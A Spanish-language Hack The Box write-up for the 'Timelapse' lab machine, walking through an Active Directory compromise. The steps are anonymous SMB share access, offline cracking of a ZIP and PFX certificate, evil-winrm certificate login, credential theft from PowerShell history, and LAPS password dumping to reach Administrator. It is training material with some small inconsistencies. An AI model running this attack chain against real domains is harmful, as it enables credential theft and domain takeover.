Timelapse
Hack The Box — Metodología Detallada
Timelapse
| IP: | 10.129.50.119 |
| OS: | Windows Server 2019 |
| Dificultad: | Easy |
| Categoría: | Active Directory |
| Fecha: | 30 Ago 2026 |
Reconocimiento
Escaneo inicial de puertos
Se realizó un escaneo completo de puertos para identificar todos los servicios expuestos en la máquina y determinar los posibles vectores de ataque disponibles.
sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 10.129.50.20 -oG allPorts
# Output
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 127
88/tcp open kerberos-sec syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
389/tcp open ldap syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
464/tcp open kpasswd5 syn-ack ttl 127
593/tcp open http-rpc-epmap syn-ack ttl 127
636/tcp open ldapssl syn-ack ttl 127
3268/tcp open globalcatLDAP syn-ack ttl 127
3269/tcp open globalcatLDAPssl syn-ack ttl 127
5986/tcp open wsmans syn-ack ttl 127
9389/tcp open adws syn-ack ttl 127
La presencia de los puertos 88 (Kerberos), 389 (LDAP) y 3268 (Global Catalog) confirma que el objetivo es un Domain Controller. El puerto 5986 (WinRM sobre HTTPS) esta abierto como vector de acceso remoto una vez obtenidas credenciales validas. SMB signing requerido descarta ataques de NTLM Relay.
Escaneo de versiones
PORT STATE SERVICE
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn
389/tcp open ldap Microsoft Windows AD LDAP (Domain:
timelapse.htb)
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ldapssl
3268/tcp open ldap Microsoft Windows AD LDAP (Domain:
timelapse.htb)
3269/tcp open globalcatLDAPssl
5985/tcp filtered wsman
9389/tcp open mc-nmf .NET Message Framing
Service Info: Host: DC01; OS: Windows
clock-skew: 7h59m58s | SMB signing: required
El escaneo de versiones confirmo el dominio
timelapse.htb y el hostname DC01. El puerto 5985 (WinRM) aparece filtered en lugar de abierto, lo que indica un firewall bloqueando el acceso directo. El puerto 5986 (WinRM sobre HTTPS) identificado en el escaneo inicial puede ser el vector alternativo. Se agrego timelapse.htb y DC01.timelapse.htb al /etc/hosts. Clock skew de 8 horas detectado — sincronizar el reloj antes de usar herramientas Kerberos.Enumeración de Active Directory
Enumeración sin credenciales
SMB anónimo — enumeración de usuarios
Se intentó enumerar usuarios del dominio mediante autenticación nula via SMB para obtener cuentas validas sin credenciales previas.
[*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01)
(domain:timelapse.htb) (signing:True) (SMBv1:False)
(Null Auth:True) (DC:True)
[+] timelapse.htb\: -- Sin usuarios enumerados
La autenticacion nula no retorno usuarios. Se confirmo el OS Windows Server 2019 Build 17763 y que el servidor admite sesiones nulas. Se procede a enumerar shares.
Enumeración de SMB shares
Se enumeraron los recursos compartidos accesibles mediante autenticacion nula para identificar shares sin proteccion.
smbclient -L //10.129.50.119// -N
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Shares Disk
SYSVOL Disk Logon server share
El share Shares no tiene descripcion estandar y es accesible de forma anonima. Requiere enumeracion adicional.
Enumeración del la carpeta Shares
Se accedio al share Shares de forma anonima para enumerar su contenido.
smbclient //10.129.50.119/Shares -N
Dev D 0 Mon Oct 25 19:40:06 2021
HelpDesk D 0 Mon Oct 25 15:48:42 2021
smb: \HelpDesk\> ls
LAPS.x64.msi A 1118208
LAPS_Datasheet.docx A 104422
LAPS_OperationsGuide.docx A 641378
LAPS_TechnicalSpecification.docx A 72683
smb: \Dev\> ls
winrm_backup.zip A 2611
smb: \Dev\> get winrm_backup.zip
Se identificaron dos carpetas: HelpDesk con documentacion de LAPS (Local Administrator Password Solution), y Dev con el archivo winrm_backup.zip. La presencia de documentacion de LAPS sugiere que esta solución esta implementada en el dominio. El archivo zip puede contener credenciales o certificados para acceso WinRM.
Crackeo de contraseña del ZIP con John
El archivo ZIP estaba protegido con contrasena. Se extrajo el hash del ZIP con
zip2john y se procedio a crackearlo offline con John the Ripper.zip2john winrm_backup.zip > zip.hash
john zip.hash --wordlist=rockyou.txt
supremelegacy (winrm_backup.zip/legacyy_dev_auth.pfx)
1g 0:00:00:00 DONE
Contrasena del ZIP crackeada:
supremelegacy. Se extrajo el archivo legacyy_dev_auth.pfx, un certificado PKCS#12 que contiene una clave privada y un certificado para autenticacion. El nombre legacyy_dev_auth sugiere que pertenece al usuario legacyy y fue creado para autenticacion WinRM via certificado.Se intentó extraer la clave privada y el certificado del PFX usando la contrasena del ZIP (
supremelegacy), pero el PFX tiene una contrasena distinta.openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out legacyy.key -nodes
Enter Import Password:
Mac verify error: invalid password?
openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out legacyy.crt
Enter Import Password:
Mac verify error: invalid password?
La contrasena del PFX es diferente a la del ZIP. Se procede a crackear el PFX de forma independiente.
Crackeo de contraseña del PFX con crackpkcs12
El archivo PFX tiene su propia contrasena independiente del ZIP. Se utilizo
crackpkcs12 para atacarlo con diccionario.crackpkcs12 -d rockyou.txt legacyy_dev_auth.pfx
Dictionary attack - Starting 12 threads
*********************************************************
Dictionary attack - Thread 5 - Password found: thuglegacy
*********************************************************
Vector confirmado: Contrasena del PFX crackeada:
thuglegacy. Se extrajeron la clave privada y el certificado para autenticacion WinRM:openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts \
-out legacyy.key -nodes -passin pass:thuglegacy
openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys \
-out legacyy.crt -passin pass:thuglegacy
Explotación
Acceso inicial — WinRM con certificado
evil-winrm -i 10.129.50.119 -c legacyy.crt -k legacyy.key -S
*Evil-WinRM* PS C:\Users\legacyy\Desktop> type user.txt
3adf31********************4877
Vector confirmado: Acceso obtenido como
legacyy via WinRM con autenticacion por certificado. Flag de usuario: 3adf31**...**4877.Enumeración de privilegios
Se enumeraron los privilegios de
legacyy para identificar vectores de escalada directa via token o privilegio de sistema.whoami /priv
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Ningun privilegio explotable. Se procede a buscar credenciales en el sistema.
Historial de PowerShell
PSReadLine almacena el historial de comandos de PowerShell en
ConsoleHost_history.txt. Este archivo puede contener comandos ejecutados previamente con credenciales en texto plano.
type C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\
PowerShell\PSReadLine\ConsoleHost_history.txt
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl
El historial de PowerShell contiene credenciales en texto plano del usuario
svc_deploy: E3R$Q62^12p7PLlC%KWaxuaV. El comando muestra que legacyy utilizaba estas credenciales para ejecutar comandos remotos via WinRM sobre HTTPS en el mismo host.Escalada de Privilegios
Acceso a WinRM con svc_deploy
Con las credenciales obtenidas del historial de PowerShell se accedio via WinRM como
svc_deploy para enumerar sus privilegios y membresías de grupo.evil-winrm -i 10.129.50.119 -u svc_deploy \
-p 'E3R$Q62^12p7PLlC%KWaxuaV' -S
whoami /priv
-- Sin privilegios explotables
whoami /groups
TIMELAPSE\LAPS_Readers Enabled
svc_deploy pertenece al grupo LAPS_Readers. Este grupo tiene permisos para leer el atributo ms-Mcs-AdmPwd en AD, que almacena la contrasena del Administrador local gestionada por LAPS (Local Administrator Password Solution).Lectura de contraseña LAPS
Como miembro de LAPS_Readers,
svc_deploy puede leer el atributo ms-Mcs-AdmPwd que contiene la contrasena del Administrador local de cada equipo gestionado por LAPS.Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd | \
Select-Object Name, ms-Mcs-AdmPwd
Name ms-Mcs-AdmPwd
---- -------------
DC01 j{WUutcWD,j]D&m9.7n8II}4
DB01
WEB01
DEV01
Se obtuvo la contrasena LAPS del Administrador local de DC01:
j{WUutcWD,j]D&m9.7n8II}4. LAPS rota estas contrasenas automaticamente, por lo que son unicas por equipo y por periodo. Los demas equipos no retornaron contrasena, posiblemente porque no tienen LAPS configurado o svc_deploy no tiene permisos de lectura sobre ellos.Acceso como Administrator via contraseña LAPS
Con la contrasena LAPS del Administrator de DC01 se accedio via WinRM para obtener la flag de root.
evil-winrm -i 10.129.50.119 -u Administrator -p 'j{WUutcWD,j]D&m9.7n8II}4' -S
*Evil-WinRM* PS C:\Users\TRX> cd Desktop
*Evil-WinRM* PS C:\Users\TRX\Desktop> dir
Directory: C:\Users\TRX\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 8/30/2026 11:34 PM 34 root.txt
*Evil-WinRM* PS C:\Users\TRX\Desktop> type root.txt
75d8eb57d2f881ae7acae07427b961d5
Vector confirmado: Acceso obtenido como
Administrator. La flag de root se encontraba en el perfil del usuario TRX: 75d8eb57**...**b961d5. El dominio timelapse.htb ha sido completamente comprometido.Reflexión Final
Qué salió bien
-
La enumeracion del share Shares fue directa e identifico rapidamente los archivos de interes en
DevyHelpDesk. -
El crackeo del ZIP y del PFX fue secuencial y limpio — primero
zip2johnpara el ZIP, luegocrackpkcs12para el PFX al darse cuenta que tenian contrasenas distintas. -
La lectura del historial de PowerShell fue inmediata y revelo las credenciales de
svc_deploysin necesidad de herramientas adicionales.
Qué salió mal
-
Se intento extraer el PFX con la contrasena del ZIP (
supremelegacy) sin considerar que cada archivo puede tener su propia contrasena, perdiendo tiempo hasta identificar el error. -
pfx2johnno pudo generar el hash del PFX, requiriendo cambiar acrackpkcs12como herramienta alternativa.
Lecciones aprendidas
-
Autenticacion WinRM con certificado PFX: un archivo
.pfx(PKCS#12) contiene tanto el certificado como la clave privada. Para usarlo con Evil-WinRM hay que extraerlos por separado conopenssl pkcs12y conectarse con los flags-cy-kjunto a-Spara HTTPS. Esta es una forma de autenticacion sin contrasena que no genera eventos de logon tipicos. -
Historial de PowerShell como vector: PSReadLine guarda el historial de comandos en
AppData\Roaming\Microsoft\ Windows\PowerShell\PSReadLine\ ConsoleHost _history.txt. Es uno de los primeros archivos a revisar en la post-explotacion — administradores suelen escribir credenciales directamente en la terminal. -
LAPS_Readers y lectura de ms-Mcs-AdmPwd: el grupo LAPS_Readers puede leer el atributo
ms-Mcs-AdmPwden objetos de computadora de AD, que contiene la contrasena del Administrador local gestionada por LAPS. El comandoGet-ADComputer -Properties ms-Mcs-AdmPwdrevela estas contrasenas directamente desde PowerShell. -
Un archivo ZIP y su contenido pueden tener contrasenas distintas — siempre intentar crackear cada archivo de forma independiente.
Tiempo total
Aproximadamente 50 minutos.